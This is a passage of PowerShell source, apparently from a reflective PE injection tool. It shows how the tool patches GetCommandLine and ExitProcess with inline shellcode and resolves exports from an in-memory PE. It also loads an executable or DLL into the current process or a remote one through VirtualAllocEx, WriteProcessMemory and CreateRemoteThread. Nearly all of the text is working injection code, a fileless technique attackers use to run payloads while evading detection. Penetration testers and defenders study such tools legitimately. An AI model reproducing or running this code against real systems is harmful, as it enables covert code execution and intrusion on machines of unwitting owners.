2055 | $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2056 | if ($Success = $false)
2057 | {
2058 | throw "Call to VirtualProtect failed"
2059 | }
2060 |
2061 | $GetCommandLineAAddrTemp = $GetCommandLineAAddr
2062 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
2063 | $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
2064 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
2065 | $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
2066 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
2067 |
2068 | $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2069 |
2070 |
2071 | #Overwrite GetCommandLineW
2072 | [UInt32]$OldProtectFlag = 0
2073 | $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2074 | if ($Success = $false)
2075 | {
2076 | throw "Call to VirtualProtect failed"
2077 | }
2078 |
2079 | $GetCommandLineWAddrTemp = $GetCommandLineWAddr
2080 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
2081 | $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
2082 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
2083 | $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
2084 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
2085 |
2086 | $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2087 | #################################################
2088 |
2089 |
2090 | #################################################
2091 | #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
2092 | # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
2093 | # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
2094 | # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
2095 | $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
2096 | , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
2097 |
2098 | foreach ($Dll in $DllList)
2099 | {
2100 | [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
2101 | if ($DllHandle -ne [IntPtr]::Zero)
2102 | {
2103 | [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
2104 | [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
2105 | if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
2106 | {
2107 | "Error, couldn't find _wcmdln or _acmdln"
2108 | }
2109 |
2110 | $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2111 | $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2112 |
2113 | #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
2114 | $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
2115 | $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
2116 | $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2117 | $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2118 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
2119 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
2120 | $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
2121 | $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
2122 |
2123 | $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2124 | if ($Success = $false)
2125 | {
2126 | throw "Call to VirtualProtect failed"
2127 | }
2128 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
2129 | $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2130 |
2131 | $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2132 | if ($Success = $false)
2133 | {
2134 | throw "Call to VirtualProtect failed"
2135 | }
2136 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
2137 | $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2138 | }
2139 | }
2140 | #################################################
2141 |
2142 |
2143 | #################################################
2144 | #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
2145 |
2146 | $ReturnArray = @()
2147 | $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
2148 |
2149 | #CorExitProcess (compiled in to visual studio c++)
2150 | [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
2151 | if ($MscoreeHandle -eq [IntPtr]::Zero)
2152 | {
2153 | throw "mscoree handle null"
2154 | }
2155 | [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
2156 | if ($CorExitProcessAddr -eq [IntPtr]::Zero)
2157 | {
2158 | Throw "CorExitProcess address not found"
2159 | }
2160 | $ExitFunctions += $CorExitProcessAddr
2161 |
2162 | #ExitProcess (what non-managed programs use)
2163 | [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
2164 | if ($ExitProcessAddr -eq [IntPtr]::Zero)
2165 | {
2166 | Throw "ExitProcess address not found"
2167 | }
2168 | $ExitFunctions += $ExitProcessAddr
2169 |
2170 | [UInt32]$OldProtectFlag = 0
2171 | foreach ($ProcExitFunctionAddr in $ExitFunctions)
2172 | {
2173 | $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
2174 | #The following is the shellcode (Shellcode: ExitThread.asm):
2175 | #32bit shellcode
2176 | [Byte[]]$Shellcode1 = @(0xbb)
2177 | [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
2178 | #64bit shellcode (Shellcode: ExitThread.asm)
2179 | if ($PtrSize -eq 8)
2180 | {
2181 | [Byte[]]$Shellcode1 = @(0x48, 0xbb)
2182 | [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
2183 | }
2184 | [Byte[]]$Shellcode3 = @(0xff, 0xd3)
2185 | $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
2186 |
2187 | [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
2188 | if ($ExitThreadAddr -eq [IntPtr]::Zero)
2189 | {
2190 | Throw "ExitThread address not found"
2191 | }
2192 |
2193 | $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2194 | if ($Success -eq $false)
2195 | {
2196 | Throw "Call to VirtualProtect failed"
2197 | }
2198 |
2199 | #Make copy of original ExitProcess bytes
2200 | $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2201 | $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
2202 | $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
2203 |
2204 | #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
2205 | # call ExitThread
2206 | Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
2207 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
2208 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
2209 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2210 | Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
2211 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
2212 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
2213 | $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2214 | Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
2215 |
2216 | $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2217 | }
2218 | #################################################
2219 |
2220 | Write-Output $ReturnArray
2221 | }
2222 |
2223 |
2224 | #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
2225 | # It copies Count bytes from Source to Destination.
2226 | Function Copy-ArrayOfMemAddresses
2227 | {
2228 | Param(
2229 | [Parameter(Position = 0, Mandatory = $true)]
2230 | [Array[]]
2231 | $CopyInfo,
2232 |
2233 | [Parameter(Position = 1, Mandatory = $true)]
2234 | [System.Object]
2235 | $Win32Functions,
2236 |
2237 | [Parameter(Position = 2, Mandatory = $true)]
2238 | [System.Object]
2239 | $Win32Constants
2240 | )
2241 |
2242 | [UInt32]$OldProtectFlag = 0
2243 | foreach ($Info in $CopyInfo)
2244 | {
2245 | $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2246 | if ($Success -eq $false)
2247 | {
2248 | Throw "Call to VirtualProtect failed"
2249 | }
2250 |
2251 | $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
2252 |
2253 | $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2254 | }
2255 | }
2256 |
2257 |
2258 | #####################################
2259 | ########## FUNCTIONS ###########
2260 | #####################################
2261 | Function Get-MemoryProcAddress
2262 | {
2263 | Param(
2264 | [Parameter(Position = 0, Mandatory = $true)]
2265 | [IntPtr]
2266 | $PEHandle,
2267 |
2268 | [Parameter(Position = 1, Mandatory = $true)]
2269 | [String]
2270 | $FunctionName
2271 | )
2272 |
2273 | $Win32Types = Get-Win32Types
2274 | $Win32Constants = Get-Win32Constants
2275 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2276 |
2277 | #Get the export table
2278 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
2279 | {
2280 | return [IntPtr]::Zero
2281 | }
2282 | $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
2283 | $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
2284 |
2285 | for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
2286 | {
2287 | #AddressOfNames is an array of pointers to strings of the names of the functions exported
2288 | $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2289 | $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
2290 | $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
2291 |
2292 | if ($Name -ceq $FunctionName)
2293 | {
2294 | #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
2295 | # which contains the offset of the function in to the DLL
2296 | $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
2297 | $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
2298 | $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2299 | $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
2300 | return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
2301 | }
2302 | }
2303 |
2304 | return [IntPtr]::Zero
2305 | }
2306 |
2307 |
2308 | Function Invoke-MemoryLoadLibrary
2309 | {
2310 | Param(
2311 | [Parameter( Position = 0, Mandatory = $true )]
2312 | [Byte[]]
2313 | $PEBytes,
2314 |
2315 | [Parameter(Position = 1, Mandatory = $false)]
2316 | [String]
2317 | $ExeArgs,
2318 |
2319 | [Parameter(Position = 2, Mandatory = $false)]
2320 | [IntPtr]
2321 | $RemoteProcHandle,
2322 |
2323 | [Parameter(Position = 3)]
2324 | [Bool]
2325 | $ForceASLR = $false
2326 | )
2327 |
2328 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2329 |
2330 | #Get Win32 constants and functions
2331 | $Win32Constants = Get-Win32Constants
2332 | $Win32Functions = Get-Win32Functions
2333 | $Win32Types = Get-Win32Types
2334 |
2335 | $RemoteLoading = $false
2336 | if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2337 | {
2338 | $RemoteLoading = $true
2339 | }
2340 |
2341 | #Get basic PE information
2342 | Write-Verbose "Getting basic PE information from the file"
2343 | $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
2344 | $OriginalImageBase = $PEInfo.OriginalImageBase
2345 | $NXCompatible = $true
2346 | if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
2347 | {
2348 | Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
2349 | $NXCompatible = $false
2350 | }
2351 |
2352 |
2353 | #Verify that the PE and the current process are the same bits (32bit or 64bit)
2354 | $Process64Bit = $true
2355 | if ($RemoteLoading -eq $true)
2356 | {
2357 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
2358 | $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
2359 | if ($Result -eq [IntPtr]::Zero)
2360 | {
2361 | Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
2362 | }
2363 |
2364 | [Bool]$Wow64Process = $false
2365 | $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
2366 | if ($Success -eq $false)
2367 | {
2368 | Throw "Call to IsWow64Process failed"
2369 | }
2370 |
2371 | if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
2372 | {
2373 | $Process64Bit = $false
2374 | }
2375 |
2376 | #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
2377 | $PowerShell64Bit = $true
2378 | if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2379 | {
2380 | $PowerShell64Bit = $false
2381 | }
2382 | if ($PowerShell64Bit -ne $Process64Bit)
2383 | {
2384 | throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
2385 | }
2386 | }
2387 | else
2388 | {
2389 | if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2390 | {
2391 | $Process64Bit = $false
2392 | }
2393 | }
2394 | if ($Process64Bit -ne $PEInfo.PE64Bit)
2395 | {
2396 | Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
2397 | }
2398 |
2399 |
2400 | #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
2401 | Write-Verbose "Allocating memory for the PE and write its headers to memory"
2402 |
2403 | #ASLR check
2404 | [IntPtr]$LoadAddr = [IntPtr]::Zero
2405 | $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
2406 | if ((-not $ForceASLR) -and (-not $PESupportsASLR))
2407 | {
2408 | Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
2409 | [IntPtr]$LoadAddr = $OriginalImageBase
2410 | }
2411 | elseif ($ForceASLR -and (-not $PESupportsASLR))
2412 | {
2413 | Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
2414 | }
2415 |
2416 | if ($ForceASLR -and $RemoteLoading)
2417 | {
2418 | Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
2419 | }
2420 | if ($RemoteLoading -and (-not $PESupportsASLR))
2421 | {
2422 | Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
2423 | }
2424 |
2425 | $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
2426 | $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
2427 | if ($RemoteLoading -eq $true)
2428 | {
2429 | #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
2430 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2431 |
2432 | #todo, error handling needs to delete this memory if an error happens along the way
2433 | $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2434 | if ($EffectivePEHandle -eq [IntPtr]::Zero)
2435 | {
2436 | Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
2437 | }
2438 | }
2439 | else
2440 | {
2441 | if ($NXCompatible -eq $true)
2442 | {
2443 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2444 | }
2445 | else
2446 | {
2447 | $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2448 | }
2449 | $EffectivePEHandle = $PEHandle
2450 | }
2451 |
2452 | [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
2453 | if ($PEHandle -eq [IntPtr]::Zero)
2454 | {
2455 | Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
2456 | }
2457 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
2458 |
2459 |
2460 | #Now that the PE is in memory, get more detailed information about it
2461 | Write-Verbose "Getting detailed PE information from the headers loaded in memory"
2462 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2463 | $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
2464 | $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
2465 | Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)"
2466 |
2467 |
2468 | #Copy each section from the PE in to memory
2469 | Write-Verbose "Copy PE sections in to memory"
2470 | Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
2471 |
2472 |
2473 | #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
2474 | Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
2475 | Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
2476 |
2477 |
2478 | #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
2479 | Write-Verbose "Import DLL's needed by the PE we are loading"
2480 | if ($RemoteLoading -eq $true)
2481 | {
2482 | Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
2483 | }
2484 | else
2485 | {
2486 | Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2487 | }
2488 |
2489 |
2490 | #Update the memory protection flags for all the memory just allocated
2491 | if ($RemoteLoading -eq $false)
2492 | {
2493 | if ($NXCompatible -eq $true)
2494 | {
2495 | Write-Verbose "Update memory protection flags"
2496 | Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
2497 | }
2498 | else
2499 | {
2500 | Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
2501 | }
2502 | }
2503 | else
2504 | {
2505 | Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
2506 | }
2507 |
2508 |
2509 | #If remote loading, copy the DLL in to remote process memory
2510 | if ($RemoteLoading -eq $true)
2511 | {
2512 | [UInt32]$NumBytesWritten = 0
2513 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
2514 | if ($Success -eq $false)
2515 | {
2516 | Throw "Unable to write shellcode to remote process memory."
2517 | }
2518 | }
2519 |
2520 |
2521 | #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
2522 | if ($PEInfo.FileType -ieq "DLL")
2523 | {
2524 | if ($RemoteLoading -eq $false)
2525 | {
2526 | Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
2527 | $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2528 | $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2529 | $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2530 |
2531 | $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
2532 | }
2533 | else
2534 | {
2535 | $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2536 |
2537 | if ($PEInfo.PE64Bit -eq $true)
2538 | {
2539 | #Shellcode: CallDllMain.asm
2540 | $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
2541 | $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
2542 | $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
2543 | }
2544 | else
2545 | {
2546 | #Shellcode: CallDllMain.asm
2547 | $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
2548 | $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
2549 | $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
2550 | }
2551 | $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
2552 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
2553 | $SCPSMemOriginal = $SCPSMem
2554 |
2555 | Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
2556 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
2557 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
2558 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2559 | Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
2560 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
2561 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
2562 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2563 | Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
2564 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
2565 |
2566 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2567 | if ($RSCAddr -eq [IntPtr]::Zero)
2568 | {
2569 | Throw "Unable to allocate memory in the remote process for shellcode"
2570 | }
2571 |
2572 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
2573 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
2574 | {
2575 | Throw "Unable to write shellcode to remote process memory."
2576 | }
2577 |
2578 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
2579 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
2580 | if ($Result -ne 0)
2581 | {
2582 | Throw "Call to CreateRemoteThread to call GetProcAddress failed."
2583 | }
2584 |
2585 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
2586 | }
2587 | }
2588 | elseif ($PEInfo.FileType -ieq "EXE")
2589 | {
2590 | #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
2591 | [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
